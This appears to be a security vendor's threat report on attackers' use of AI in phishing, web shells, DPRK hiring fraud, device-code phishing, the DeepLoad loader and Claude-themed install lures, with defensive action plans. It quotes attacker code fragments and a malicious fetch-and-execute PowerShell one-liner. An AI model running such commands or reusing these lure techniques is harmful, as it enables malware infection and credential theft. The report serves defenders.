How AI Is Used in Practice

AI As a Multiplier

One of AI's clearest roles in cyber incidents is helping attackers do more with less: scale content, localize lures, and spin up infrastructure faster.

AI's facility widens the pool of reachable victims and lowers the barrier to entry. Less capable actors can operate more effectively, while more mature ones can move faster and at greater volume. Campaigns that once took sustained effort can now be launched, adjusted, and repeated faster than manual review and response can keep up. That collapses the window between lure and credential theft, leaving organizations substantially more at risk of breach.

AI-Scaled Phishing Infrastructure

One of the clearest examples of AI as a multiplier appeared in a recent sector-wide phishing campaign.

Threat actors generated thousands of phishing pages impersonating well-known booking platforms and individual businesses. In the HTML, we identified several clues consistent with an AI-assisted workflow that likely contributed to both the infrastructure behind the campaign and the user-facing content. While none of these clues are definitive on their own, together, they point to a process built for speed, reuse, and believable presentation.

  }
},
error: function (jqXHR, textStatus, errorThrown) {
    //console.error("Ошибка: " + textStatus + ", " + errorThrown);
}

For defenders, artifacts like this can be more revealing than the lure itself because they say more about the workflow and likely operator background behind the campaign.

Each instance paired a themed domain with a short alphanumeric identifier that appeared machine-generated, likely to track or target specific organizations. Users received phishing emails with links that redirected them to a payment-card harvester designed to mimic a legitimate booking and payment flow. The pages reused branding and visual elements from the impersonated businesses and third-party travel services, making the experience feel less like a standalone phishing page and more like a continuation of a real transaction.

As the fake payment appeared to process, the site displayed automated support messages in a live-chat window (see Figure 2). That feature did two things: It gave targets a familiar trust signal, and it let attackers add polished support text at scale.

Your Action Plan

AI-scaled phishing is a speed-and-volume problem. Adversaries can localize lures and rotate fresh infrastructure faster than human-paced triage can respond. Organizations need agentic workflows, automated analysis and response, and continuous threat intelligence to keep pace. Tools like GreyMatter Phishing Analyzer can automatically and holistically detect, investigate, and contain phishing attempts that bypass secure email gateways and land in user inboxes.

• Block newly registered, uncategorized, and lookalike domains at the DNS and secure web gateway layers to stop disposable phishing sites from reaching users.
• Update awareness training to remove false trust signals. Polished language, realistic branding, and live chat don't prove a site is legitimate; users need to verify the destination and the workflow.
• Reduce the value of stolen credentials with phishing-resistant MFA, short session lifetimes, and conditional access policies that force reauthentication when risk signals appear.

Detection · GreyMatter

Detect AI-Scaled Phishing Before a Lure Turns Into Fraud or Account Abuse

AI gives attackers more convincing lures and lets them deliver them at greater volume and pace. That means defenders should focus less on whether a phishing page "looks AI-made" and more on catching what slips through, identifying campaign patterns early, and spotting the fraud or account abuse that can follow. GreyMatter customers can use detections like the following to identify phishing that slips past preventive controls, expose attacker infrastructure, and surface the high-volume delivery patterns these campaigns rely on.

• Allowed Phishing Email: Detects phishing emails that were delivered to a user inbox rather than blocked by the email gateway. This is especially useful in AI-scaled phishing campaigns, where more polished language and better-themed lures can reduce the effectiveness of signature-, sandbox-, or reputation-based controls.
• Inbound Email Wave Detected: Detects a high volume of inbound emails from the same sender or campaign in a short period of time. This helps surface the scale advantage behind AI-assisted phishing operations, where attackers can generate and deliver large numbers of polished lures in a short period.
• Suspicious AiTM Phishing: Detects suspicious activity consistent with adversary-in-the-middle (AiTM) phishing, where attackers intercept authentication flows to capture credentials and bypass MFA. This detection provides coverage for phishing campaigns that escalate from convincing lure delivery into active account compromise.

AI in Malicious Tooling and Code Generation

AI is also showing up in malicious code in two main ways: generating functional components such as web shells and credential harvesters, and varying or padding code to frustrate static analysis. When code is regenerated for each target or deployment, payloads can be byte-unique even when the behavior stays the same. That weakens signature- and hash-based detection and puts more weight on behavioral and runtime controls. It also changes how defenders should read code: polished formatting, clear structure, and heavy commenting are also now signs of AI-assisted code generation and should not lower response urgency.

Across the samples we reviewed, one pattern that appeared repeatedly was commentary that overexplained obvious logic. On its own, that’s a weak signal. Low-skill attackers have always left amateur-looking code with awkward comments, and some operators even leave comments intentionally in shared tooling. But what makes AI the better fit here is the consistency and style of comments across otherwise different tools and contexts. The comments read less like operational notes and more like teaching-style annotations that narrate each line or block in plain language, which adds little value to someone who already understands the code.

That pattern was visible in a credential harvester likely tied to financially motivated extortion group “ShinyHunters.” The code walked through simple logic with explanatory comments in a way that felt more like generated scaffolding than working attacker notes. Even the emojis pointed in the same direction. Although none of that is proof of AI use by itself, it adds weight when combined with the comment style and overall structure (see Figure 3).

// Simple browser detection
if (/Edg\//.test(ua)) browser = "🟦 Edge";
else if (/Chrome\//.test(ua)) browser = "🌐 Chrome";
else if (/Firefox\//.test(ua)) browser = "🦊 Firefox";
else if (/Safari\//.test(ua) && !/Chrome\//.test(ua)) browser = "🍏 Safari";
else if (/OPR\//.test(ua)) browser = "🟠 Opera";

We saw the same pattern in a fully featured web shell with file management, terminal access, and authentication. Comments such as // Initialize panel visibility and // Check authentication didn't add operational value; they simply restated what the code was already doing (see Figure 4). In a tool this complete, that kind of narration looks less like collaboration and more like mode-generated scaffolding left in place.

// Initialize panel visibility
pnlLogin.Visible = false;
pnlMainMenu.Visible = false;
pnlFileManager.Visible = false;
pnlTerminal.Visible = false;
// Check authentication
if (!_q976)
{
    // Show login panel when not authenticated
    pnlLogin.Visible = true;
    return;
}
// User is authenticated, proceed with normal flow
if (!IsPostBack)
{
    ActivePanel = "MainMenu";
    _tmu();
}
else
{
    // Restore the active panel on PostBack
    RestoreActivePanel();
}

A leaner version of the same pattern appeared in a SAP NetWeaver web shell deployed after the ReliaQuest-discovered zero-day vulnerability CVE-2025-31324. The shell itself was only a few lines long — built to take a command parameter, run it, and print the output. Even so, it still included comments like // Combine error and standard output and // Read the output. In code that short and disposable, explanatory comments like that add almost no operational value.

AI-Assisted Tooling Meets Established Automation

The code only tells part of the story. In the SAP NetWeaver incidents, AI may have reduced the effort needed to produce the web shells, but automation handled deployment and the earliest post-exploitation steps at speed. This is a useful model for how AI is being applied in real intrusions today — not to replace the rest of the attack chain, but to feed it.

While scripted deployment, repeatable reconnaissance, and identical command sequences have long been part of attacker tradecraft, what makes these incidents relevant here is the combination of code that appeared consistent with rapid, possibly AI-assisted generation, followed by deployment and reconnaissance patterns that were clearly automated.

Once attackers have a workable shell, automation can distribute it across multiple hosts, randomize filenames, and trigger the same reconnaissance playbook almost immediately. That shortens the gap between exploitation and follow-on activity while leaving defenders with fewer stable payload artifacts to anchor on.

Across multiple SAP NetWeaver incidents, ReliaQuest observed patterns that are difficult to reconcile with manual, host-by-host activity:

• Identical payloads with randomized filenames. In one incident, every JSP web shell deployed had a random eight-character filename, but all shared the same source code.
• Multi-host deployment in compressed timeframes. In separate incidents, the same web shell was dropped on six to eight hosts within hours, all to the same SAP directory path structure. Only the host-specific SAP system identifier changed.
• Upload-to-execution gaps as short as one minute. On one host, only 60 seconds passed between the web-shell upload and the first discovery commands. At that speed, and across multiple systems, manual pivoting is unlikely.
• Identical reconnaissance sequences across every host. The same discovery commands (whoami, nltest /domain_trusts, net group "domain admins" /dom, and others) ran in the same order on each compromised system. This behavior is far more consistent with automated or scripted reconnaissance than live typing.

Taken together, these patterns show how AI-assisted tooling can slot directly into automated workflows that attackers already use. If attackers can generate functional web shells faster and with less effort, automated deployment and reconnaissance do the rest. And for defenders, that leaves very little time between exploitation and follow-on activity.

Your Action Plan

When AI-assisted tooling feeds established automation, signatures, hashes, and static scanning lose much of their value. Focus instead on the deployment and reconnaissance patterns that stay consistent even when payloads are regenerated, renamed, or rapidly redeployed.

• Harden internet-facing application servers by restricting file uploads to web-accessible directories, alerting on new executables in application paths, and patching exposed systems aggressively. In the SAP NetWeaver cases, the path from upload to domain reconnaissance was measured in minutes, which leaves little room for reactive defense.
• Implement file-integrity monitoring and real-time alerting on new or modified files in web-accessible directories of internet-facing applications, especially when multiple files with randomized names appear in a short window to catch the automated deployment workflow AI enables, even if each individual payload evades static analysis.
• Automate containment actions, such as isolating the affected host as soon as a web shell is detected. When the gap between web-shell upload and first execution is measured in minutes, automation is the only response fast enough to materially reduce impact.

Automated Response · GreyMatter

Disrupt AI-Assisted Malicious Tools with Automated Response

AI may explain how the tools were produced or polished, but defenders don't need a separate response for "AI attacks." The priority is the same as in any fast-moving compromise: Contain the affected host, cut off attacker infrastructure, and revoke any access the attacker may already be using. GreyMatter customers can use Automated Response Playbooks to contain threats at the speed these campaigns now demand.

• Isolate Host: Quarantine a compromised server or endpoint as soon as malicious tools or early post-compromise activity are detected, including web-shell execution, suspicious script activity, or rapid reconnaissance. This helps stop lateral movement and follow-on activity.
• Block Domain: Cut off attacker-controlled infrastructure linked to payload staging, credential harvesting, or command-and-control (C2) infrastructure. Domain-level blocking is especially useful where infrastructure is reused across multiple lures, hosts, or delivery stages.
• Terminate Sessions: Revoke active sessions tied to compromised accounts to stop attacker access immediately. This is particularly valuable where malicious tooling is used to harvest credentials or where attackers move quickly from initial compromise into authenticated activity.

AI in Identity-Themed Social Engineering

Typos, awkward phrasing, and poor grammar, and clumsy design used to be reliable tells. AI has erased them: Attackers can now generate polished text, cleaner interfaces, and more convincing voice scripts across languages with far less effort across phone, web, and identity workflows at once. As those cues lose value, the more durable defense is to harden the approval and authentication paths these campaigns are trying to exploit.

That matters most when credibility is the attack path.

ShinyHunters is a useful example, not because the campaign is end-to-end AI-driven, but because it shows how AI fits into a broader social-engineering workflow. The group's model typically runs on a vishing call that establishes trust, a branded landing page that sustains it, and an authentication or OAuth approval step that converts that trust into access. At each point, AI makes the lure more fluent, more convincing, and easier to tailor.

The strongest AI relevance is on the human-facing side of the campaign. Reporting suggests operators have used commercial voice-agent platforms that adapt conversational scripts in real time based on a target's responses, helping scale vishing without losing credibility.¹ Even when AI use can't be proven in every call or page, the pattern is consistent with the role AI is playing elsewhere in this report, that is, producing and repeating the parts that depend on language, polish, and responsiveness.

The infrastructure matters too.

ReliaQuest has tracked clusters of identity-themed domains spun up daily to host these pages, often using single sign-on (SSO), login, and passkey language that blends in with familiar enterprise tools. The AI link here is less about registering the domains and more about what comes next. Once the infrastructure exists, AI can quickly fill it with polished, target-specific copy, branded login text, and supporting social-engineering content that make each page convincing with little manual effort.

ShinyHunters has also been moving the target brand into the subdomain rather than the registered domain — for example, <organization>.sso[.]guide, <organization>.okta[.]guide, or <organization>.passkey[.]com. Many monitoring programs miss these because they focus on the registered domain. Whether those hostnames are AI-generated or scripted, the result is still cheap, high-volume, victim-branded infrastructure that makes social engineering more convincing at scale.

Your Action Plan

AI-polished social engineering is most effective where credibility is the attack path — over the phone, on branded landing pages, and in authentication or approval flows that look legitimate to the user. As those surfaces become more convincing, defenders need to rely less on users spotting flaws and more on hardening the workflows that convert trust into access.

• Train end users to verify unsolicited IT or help-desk calls through an independent channel before entering credentials, approving MFA prompts, or authorizing app consent — and establish a simple, well-communicated verification process (e.g., hanging up and calling IT back on a known internal number).
• Restrict OAuth and third-party application consent in SaaS platforms by disabling user-level consent and routing app approvals through admin review with an allowlist. AI-polished social engineering increasingly ends not at credential entry but at a user approving a malicious OAuth app — an outcome that bypasses MFA and grants persistent, token-based access.
• Roll out FIDO2 passkeys for privileged users and high-value SaaS apps where password-based login flows are still exposed to phishing. When attackers can create convincing branded pages on lookalike subdomains, the stronger control is authentication that won't work on the wrong domain.

Detection · GreyMatter

Detect Identity Abuse Triggered by Social Engineering

Defenders shouldn’t build detections around whether a call script, landing page, or message looks AI-generated. The priority is to catch the point where social engineering turns trust into access or data loss—suspicious communication activity, risky identity changes, and early signs that a compromised account is in use. GreyMatter customers can use detections such as:

• MFA Registration from Abused ASN: Detects new MFA registrations from IP addresses tied to commonly abused Autonomous System Numbers (ASNs), a common sign an attacker is trying to make access stick.
• Mass Sensitive Data Downloads: Detects bursts of sensitive-file downloads from SaaS applications. In campaigns like those linked to ShinyHunters, this can help identify when socially engineered access is being converted into rapid data collection or exfiltration.
• File Permission Application Granted to User - O365: Detects OAuth consent in Microsoft 365 that grants file access, especially relevant when a campaign ends in app approval rather than credential theft, giving attackers persistent, token-based access that bypasses MFA.

AI As Identity Fabricator in DPRK Worker Fraud

AI isn’t just helping financially motivated threat actors. It’s also making DPRK state-sponsored worker fraud easier to scale and refresh, and harder to catch at the points where the scheme used to be most exposed. These campaigns push part of the defense problem into HR and talent acquisition, beginning as a hiring, identity-verification, and onboarding problem that only later becomes an endpoint, access-management, and insider-risk problem.

DPRK operators have spent years posing as remote IT professionals to get hired by Western companies and send earnings back to North Korea, allegedly, to support the regime’s weapons programs. AI hasn’t changed that model, but it has lowered the effort needed to run it.

Too-Good-to-Be-True Personas, Built Faster

DPRK operators are using AI to assemble entire professional identities that look unusually polished and overqualified. Recently, we’ve seen heavier AI use across the full persona package, from identity documents and LinkedIn profile photos to bios, resumes, and portfolio content. The result isn’t necessarily always a better fake, but they are faster and more disposable.

For LinkedIn profile photos, we’ve observed operators manipulate stock images—or generate new images entirely using AI—then edit them into separate profile pictures tied to the same persona (see Figure 5). The likely goal is to reinforce credibility by creating multiple images that appear to belong to the same person. More recently, though, some operators have moved away from profile photos altogether, suggesting they’re adapting the persona template as awareness grows.

Another recurring signal is the AI-assisted resume. In one case, a DPRK remote worker created a GitHub site to host a resume and portfolio claiming he had “joined 25+ software projects with responsibilities from developer to leader for 6+ years.” The website also featured a manipulated graduation photo and testimonials from supposed international colleagues (see Figures 6 and 7). Taken together, these artifacts point to a workflow where AI can produce a polished, globally credible identity package with substantially less manual effort.

Deepfakes for Interviews and Meetings

The most important shift is in live interaction. Interviews and onboarding meetings used to be some of the riskiest moments for these operators because they had to perform convincingly in real time. Now, that’s becoming less of a barrier.

Twelve months ago, real-time face swaps on video calls often broke under normal movement or lighting. Those tells still exist, but the window for catching them has narrowed considerably. Tools like Deep-Live-Cam can now generate a convincing real-time face swap from a single reference photo, while OBS Studio can feed that manipulated video into common enterprise meeting platforms. On a typical corporate video call, that’s often enough to pass.

Voice-changing software makes that problem worse. The deception doesn’t have to look perfect in one area anymore; it just has to remain plausible across several at once. For defenders, that means video interviews and onboarding calls are no longer the reliable touchpoints they once were.

Disposable Identities at Scale

One of the clearest shifts we're seeing is less persona reuse, which reduces the value of watchlists built around known fake identities and puts more pressure on validating each candidate on their own merits. We assess with moderate confidence that AI is driving that shift. If an LLM can produce a resume and portfolio in minutes, and image-generation tools can create a new face and profile photo in a few more, there's little reason to keep reusing an identity that may already have been flagged elsewhere, especially as awareness of DPRK remote IT workers grows.

Earlier DPRK activity often reused the same identities across multiple job applications, which made sense when building them took time. More recently, operators seem to be treating personas as disposable, using one identity per job application. But this only works if the time and effort needed to create a new identity have dropped substantially.

Where This Is Heading

This trend is likely to increase the scale of the scheme. We’ve already seen North Korean operators hold multiple jobs at once, and AI will almost certainly raise that ceiling.

As AI-assisted coding and productivity tools improve, one operator may be able to sustain more roles, appear legitimate for longer, and generate more revenue per person. DPRK IT worker fraud is fundamentally a revenue-per-head operation that allegedly helps fund the regime’s weapons programs, so anything that increases output, whether that means more jobs per person or less effort per job, is likely to be adopted quickly.

This is also where hiring and security operations meet. DPRK worker fraud often relies on facilitators and “laptop farms” that receive company-issued devices and proxy access on behalf of the hired persona. That means weak pre-hire controls can quickly become endpoint, remote-access, and insider-risk problems after onboarding. Organizations therefore need defenses that start before hiring and continue through device delivery, access control, and ongoing monitoring. They should cover USB allowlisting and blocking remote monitoring and management (RMM) tools at both the application and network level as threat actors often exploit them for unauthorized remote access.

Your Action Plan

Defending against DPRK worker fraud requires controls across hiring, identity verification, onboarding, endpoint management, and remote access. The priority is to stop fraudulent workers before they’re hired then limit what they can do if they get through.

• Strengthen remote hiring verification with deeper background checks, reference validation, gap review, and in-person identity checks for higher-risk remote roles. The goal is to make it harder for a polished but fabricated persona to clear recruiting on documents alone.
• Add live, impromptu skill and identity checks to remote inverviews, including on-camera technical discussions, live coding exercises, and follow-up questions tied to claimed past work. AI can fabricate a resume and support a deepfake-enhanced interview, but it struggles when a candidate has to demonstrate real knowledge in real time.
• Lock down company-issued devices with USB allowlisting and alerts for connection attempts from unauthorized devices, including keyboard, video, mouse over IP (IP-KVM) and similar remote-control hardware. That narrows the path from a fake hire to hands-on access through a laptop farm or facilitator.
• Monitor dark- and deep-web sources for early DPRK worker signals,including identity-fabrication tools, deepfake software, and related infrastructure or recruitment chatter. Route those findings to HR, talent acquisition, IT, and the SOC so action starts before onboarding is complete. The DPRK IT-worker threat and the maturing underground AI tooling market both surface in places traditional SOC monitoring doesn't reach.

Threat Hunting · GreyMatter

Proactively Hunt for the Access and Persistence Patterns Behind Worker Fraud

Once a fraudulent worker is inside, the problem becomes unauthorized access, remote control, and persistence. The personas are more convincing and more disposable, but the tooling and access patterns that let the activity take hold are huntable.

Threat hunting packages available to GreyMatter customers include:

• Remote Monitoring & Management (RMM) Software Detection: Hunts for RMM tools running outside expected administrative baselines or on systems where they don’t belong, surfacing remote-control activity consistent with laptop farms, facilitators, or other unauthorized third-party access.
• Proxy and Protocol Tunneling Tools Detection: Hunts for proxying and tunneling software that can bypass security controls, mask location, or maintain stealthy remote access. This is particularly useful where facilitators are proxying access on behalf of a hired persona.
• VSCode/Azure Dev Tunnel Abuse: Hunts for suspicious use of VS Code Remote - Tunneling and Azure devtunnel, which can be abused to create remote access or command-and-control channels over trusted Microsoft infrastructure. This matters most in developer-persona cases, where malicious activity may be masked as normal engineering workflow.

AI Accelerating the Initial-Access Chain

Earlier sections showed how AI helps attackers scale lures and make them more convincing. Here, the effect is more direct. AI helps move targets from interaction to compromise. We see that in two ways: AI-generated obfuscation in a “ClickFix”-to-malware chain and AI-assisted phishing pages in device-code phishing campaigns. Both outrun static controls and manual review.

AI-Aided DeepLoad Malware in ClickFix Campaign

In this campaign, AI’s job was concealment. The web shell cases showed AI generating functional code; here, it produced what appeared to be thousands of junk variable assignments to bury real logic and overwhelm static scanners.

ClickFix was just the access vector: a prevalent social engineering technique that tricks users into running malicious commands on their own machines. As we noted in our 2026 Annual Threat Report, 59% of the top malware families in 2025 were delivered through ClickFix. But what stood out here was the loader stage.

Earlier this year, we investigated a new campaign in which the new but operationally mature malware “DeepLoad” featured AI authorship and was delivered through ClickFix. After the user ran the malicious command, mshta.exe (a legitimate Windows utility often abused for remote script execution) connected to attacker-controlled staging infrastructure and pulled down an obfuscated PowerShell loader.

The loader buried its real logic under thousands of apparently AI-generated junk variable assignments, flooding static scanners with noise (See Figure 8). The functional payload (a short XOR routine that decrypted shellcode in memory) was hidden at the bottom.

The volume and consistency of the padding strongly suggest AI authorship, and it's also plausible that AI helped write more than just the noise around the payload. Either way, the initial-access chain now includes AI-produced loader code that’s harder to scan statically and faster to generate.

{Get-AuthenticodeSignature -InformationAction Continue -TaskPath \Microsoft\Windows\ && (aaa)} = "ZnVuY3";
{Get-StoragePool -ErrorAction Stop -Uri windowsupdate.microsoft.com && (kebnn)} = "Rpb24gR2V0LUNv";
{Get-AuthenticodeSignature -InformationAction Continue -TaskPath \Microsoft\Windows\ && (aaa)} = "ZnVuY3";
{Get-StoragePool -ErrorAction Stop -Uri windowsupdate.microsoft.com && (kebnn)} = "Rpb24gR2V0LUNv";
{Get-AuthenticodeSignature -InformationAction Continue -TaskPath \Microsoft\Windows\ && (aaa)} = "ZnVuY3";
{Get-StoragePool -ErrorAction Stop -Uri windowsupdate.microsoft.com && (kebnn)} = "Rpb24gR2V0LUNv";
# ... thousands of similar lines ...

What once took days to assemble can be built and deployed in far less time.

Your Action Plan Against ClickFix and DeepLoad

ClickFix succeeds when users run commands that look routine, and DeepLoad is built to survive the static scans that might otherwise catch it. The defensive priority is to break the chain at user execution, persistence, and early in-memory activity.

• Train users to recognize ClickFix-style lures, especially pages that tell them to open a terminal, run a command, or complete a fake CAPTCHA step. That interaction is unusual enough that focused awareness training can still reduce success rates.
• Prioritize behavioral endpoint monitoring over file-based scanning, including PowerShell Script Block Logging and EDR coverage for in-memory execution and process injection. DeepLoad’s junk padding is designed to overwhelm static scanners, so detection must focus on runtime behavior.
• Audit WMI event subscriptions as part of routine monitoring and incident response. In this campaign, a surviving subscription re-executed the chain days later, so remediation is incomplete until Windows Management Instrumentation (WMI) persistence is reviewed.

Automated Response · GreyMatter

Interrupt Staged Malware Delivery Before Compromise Deepens

Once a user has run the command, what matters is no longer how the loader was written but how quickly the chain can be broken. The most effective response severs the handoff between execution, payload retrieval, and follow-on activity. GreyMatter customers can do this rapidly with the following Automated Response Playbooks

• Isolate Endpoint: Removes the affected host from the network as soon as DeepLoad-related execution or suspicious post-execution behavior appears. This cuts off attacker communications and reduces the chance of follow-on activity spreading from the compromised system.
• Block Domain: Blocks attacker-controlled staging infrastructure used to deliver loaders, scripts, or follow-on payloads. This is especially valuable when the same infrastructure is reused across delivery attempts or victims.
• Delete File: Removes malicious loaders or staged scripts written to disk. Because activity may persist in memory or elsewhere, pair this with endpoint isolation and follow-on investigation.

AI in Device-Code Phishing

Device-code phishing doesn't depend on stealing credentials through a fake login page. Instead, it convinces the target to complete a legitimate Microsoft authentication flow on the attacker's behalf, which makes the attacker's page a bridge rather than the destination. AI makes that bridge credible quickly, while automation scales the infrastructure and speeds follow-on token abuse.

Since late March 2026, we've observed a sustained increase in device-code phishing incidents across hospitality, manufacturing, health care, financial services, and technology. These campaigns show signs of industrialized automation and AI assistance, especially in domain generation and post-compromise activity.

Device-code phishing abuses Microsoft's legitimate OAuth device-code authentication flow, which is designed for devices and apps that can't easily support a full browser-based sign-in, such as command-line interface (CLI) tools or input-limited devices. In these attacks, targets are sent to microsoft[.]com/devicelogin and asked to enter an attacker-generated code. If they do, they authorize the attacker’s session and hand over valid access and refresh tokens without ever giving up a password.

That's what separates this technique from standard credential phishing: Attackers only need a convincing prompt page that gets the target to take the next step, not a perfect fake login page.

We also saw clusters of 30 to 40 similarly themed domains spun up in parallel, a pattern that strongly suggests automated infrastructure generation and fits the broader picture of AI-assisted scale.

Reviewing the HTML behind the user-prompt pages revealed several indicators that we assess with high confidence cumulatively point with to AI use. For example:

• Random motivational HTML comments aappeared repeatedly in unexpected places—a strong AI clue, as LLM-generated code often inserts generic filler comments, and some phishing-kit builders also use autogenerated comments to pad or vary pages (See Figure 9). Examples we observed included: "Success is where preparation and opportunity meet." and "Innovation distinguishes between a leader and a follower."
• Multiple, conflicting UI designs stitched together on one page. One section looked like a checkbox or verification card, while another looked like a Microsoft voicemail or device-code page. That pieced-together structure is common when attackers use AI-generated snippets or assemble pages from multiple sources.
• Fake polish on the user-facing end: Microsoft colors and logo mimicry, clean user interface (UI) language without authentic Microsoft structure, and wording like “Secured by Microsoft.”

<div class="cd">
  <!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->

  <div id="lds" class="lc hidden">
    <svg class="sl" viewBox="0 0 24 24" width="24" height="24">
      <circle cx="12" cy="12" r="10" stroke="#1473e6" stroke-width="3"
              fill="none" stroke-dasharray="32" stroke-linecap="round"></circle>
      <!-- I find that the harder I work, the more luck I seem to have. -->
    </svg>
    <p>Preparing verification...</p>
  </div>

  <!-- If you are not willing to risk the usual, you will have to settle for the ordinary. -->

  <div id="ers" class="ec hidden">
    <svg viewBox="0 0 48 48" fill="none" width="48" height="48">
      <circle cx="24" cy="24" r="22" fill="#fef2f2" stroke="#ef4444" stroke-width="2"></circle>
      <path d="M24 14v12M24 30v2" stroke="#ef4444" stroke-width="3"
            stroke-linecap="round"></path>
      <!-- I find that the harder I work, the more luck I seem to have. -->
    </svg>
    <h2>Error</h2>
    <p id="em"></p>
  </div>
</div>

Your Action Plan Against Device-Code Phishing

Device-code phishing is difficult to defend against because the user signs in on a real Microsoft page. There’s no fake portal to block, no malicious attachment to scan, and no obvious phishing URL for traditional controls to catch. Because the attacker receives valid refresh tokens rather than stolen credentials, access can survive a password reset unless those tokens are explicitly revoked. Organizations must restrict the authentication flow, detect post-compromise activity quickly, and ensure remediation is complete.

• Review Microsoft Entra ID sign-in logs for device-code authentication tied to suspicious IPs, unfamiliar ASNs, anomalous locations, and cloud-hosted infrastructure such as Railway where observed. Because the user signs in on a legitimate Microsoft page, the clearest clues appear in identity telemetry after token issuance, not in the lure.
• Investigate affected accounts for signs of follow-on compromise,including token replay, suspicious mailbox access, inbox-rule creation, rogue device registration, and other business email compromise (BEC) indicators. In observed cases, attackers moved from authentication to persistence and email manipulation within minutes.
• Revoke all active sessions and refresh tokens for impacted users and require reauthentication; since the attacker receives valid refresh tokens, access persists until those tokens and any unauthorized persistence are removed.

Detection · GreyMatter

Detect Device-Code Abuse Before Valid Tokens Are Operationalized

AI’s advantage in device-code phishing is speed and credibility. Attackers generate persuasive prompt pages quickly and use them to funnel victims into a legitimate Microsoft authentication flow. From there, the priority is to detect suspicious sign-ins and token use fast enough to stop valid access from becoming a larger compromise. GreyMatter customers can detect this activity with the following rules:

• Device Code Phishing via Cloudflare Workers: Identifies processes that reference a Cloudflare Workers-hosted page while making outbound connections to Microsoft’s device-code authentication endpoints. This can reveal cases where a user is pushed from attacker-controlled infrastructure into a legitimate Microsoft login flow that grants access and refresh tokens.
• Successful Authentication from Threat Host: Detects successful remote authentication from an IP on threat-intelligence lists. In device-code phishing cases, this can surface the moment an attacker begins using valid access from known malicious or suspicious infrastructure.
• Risky Sign In Attempt: Detects high-risk authentication attempts identified by Identity Protection or similar controls, useful when attackers begin using valid tokens from unusual locations soon after the target completes the Microsoft authentication flow.

AI As the Hook

Most of this report covers threat actors building AI into their toolsets. Using AI itself as the lure is a simpler tactic that can be just as effective. In these campaigns, AI branding was the bait while the real attack surface was the developer install workflow. Attackers exploited the gap between demand for new AI tools and an organization’s ability to approve, distribute, and document them safely. Claude was the lure in these cases, but any high-demand AI tool without a clearly communicated, trusted installation path can be the same kind of hook.

In one month alone, ReliaQuest investigated two malware campaigns that used Claude-themed lures. Both delivery methods exploited technically capable users into running installation commands or extensions that looked routine enough to escape suspicion.

These campaigns work because enterprise AI adoption is moving faster than most organizations can govern it. In that gap, developers and engineers fall back on search results, install guides, package managers, extensions, or one-line terminal commands that appear legitimate.

How the Lures Worked

Both Claude-themed campaigns used different delivery mechanisms to exploit the same weakness: trusted developer install behavior.

Campaign 1: Claude-Themed Developer Tooling

This campaign used Claude-themed VS Code extensions and fake installation guides to execute malicious content through a process chain designed to look like normal developer activity.

On macOS, sponsored search results led users to fake installation documents containing terminal commands, which users copied and ran as if legitimate. On Windows, the lure was a malicious VS Code extension posing as a Claude developer tool. Once installed, it used VS Code's own process to spawn PowerShell, which launched mshta.exe to contact an attacker-controlled domain crafted to look like a routine software download URL in network logs.

What made this chain notable was the persistence. Some variants created Windows Defender exclusions, which meant the extension re-executed every time VS Code launched without triggering an alert. That created a durable foothold that remained in place until manually removed.

Campaign 2: Mimicking Official Installation Syntax

This campaign copied the structure of Anthropic's legitimate installation commands, producing instructions that looked nearly identical to the real ones.

On macOS, attackers used a Homebrew-style curl lure — a pattern developers use every day to install tools. The downloaded binary ran an AppleScript stage that queried the host's hardware serial number and memory IDs via system_profiler to check for sandbox traits. If it recognized a known sandbox, execution stopped quietly, returning a clean result from the tooling defenders rely on to assess threats.

On Windows, the first-stage command replicated Anthropic's syntax almost exactly:

irm https://claude.ai/install.ps1 | iex

irm https://claude-ai.install.ps1 | iex

The malicious command kept the same visible structure as the legitimate one, making it unrealistic that users would notice the difference.

What makes this campaign more concerning is how well it avoids common detection. On Windows, the attackers made malicious activity appear to come from trusted system processes and kept persistence without dropping a typical malware file to disk. On macOS, the malware checked whether it was running in a sandbox and stayed quiet if it was. In both cases, the goal was to weaken the reliability of the signals defenders most often trust, including sandbox results and normal process behavior.

The Install Workflow as the Attack Surface

These campaigns work not just because AI is the theme, but because they abuse workflows that developers already trust. Running a one-line command, installing a VS Code extension, or pulling a tool from what looks like official documentation feels normal in engineering environments. That makes the install step itself the exploitation surface.

The broader defender problem repeats a pattern seen elsewhere in this report. The lures looked like normal software installs, the malicious activity appeared to come from trusted processes, and some payloads stayed quiet in sandboxes. Both user judgment and the signals defenders use to assess safety are weakened at once.

The payoff for attackers is also high. A compromised developer workstation can expose source code, cloud keys, Continuous Integration and Continuous Delivery (CI/CD) credentials, and other tokens that open paths well beyond the endpoint. And the tactic is easy to repeat. Claude is the current hook, but any AI tool with a command-line install flow and no trusted, organization-approved distribution path can be used the same way. As enterprise AI adoption grows, so does the opportunity for attackers.

Your Action Plan

AI-themed lures succeed when demand for a tool outruns the organization’s ability to provide a safe way to get it. Organizations must close that adoption gap, reduce reliance on ad hoc installation behavior, and prevent untrusted install paths from turning into code execution.

• Maintain an approved catalog of AI tools, trusted download sources, and verified installation instructions. That gives developers a safe path to follow instead of relying on search results, ads, copied commands, or unofficial extensions.
• Bring developer workstations under standard enterprise security control, including mobile device management (MDM) enrollment, baseline endpoint protection, and regular review of local admin rights, exceptions, and allowed tools. Developer systems shouldn’t sit outside the same core controls applied elsewhere in the environment.
• Block untrusted execution paths with application control, especially unsigned PowerShell, AppleScript, or similar interpreters. Restrict high-risk utilities like mshta.exe and execution from temporary or world-writable directories.

Detection · GreyMatter

Detect Suspicious Install-Driven Execution on Developer Endpoints

In this part of the report, AI is the hook rather than the mechanism, so the priority is to catch the execution chain that follows, especially when trusted developer behavior turns into PowerShell activity, Living-off-the-Land binary (LOLBin) use, suspicious outbound connections, or persistence. GreyMatter customers can use detection rules such as:

• Suspicious Web Request via PowerShell: Detects outbound web requests made with a PowerShell-based user agent, especially when the destination is associated with known threat infrastructure. In the context of fake AI-tool install flows, this can surface copied install commands or malicious scripts that retrieve follow-on payloads or contact attacker-controlled domains.
• Suspicious Mshta Command Execution: Detects mshta.exe running suspicious command lines or scripts that fall outside normal use. In this context, it helps catch the point where a routine-looking install turns into LOLBin abuse.
• Malware Found with Suspicious Registry Key Modification: Detects malware alongside sensitive registry changes tied to persistence or system tampering. Here, it can reveal when a seemingly normal install or extension execution has progressed into a more durable foothold.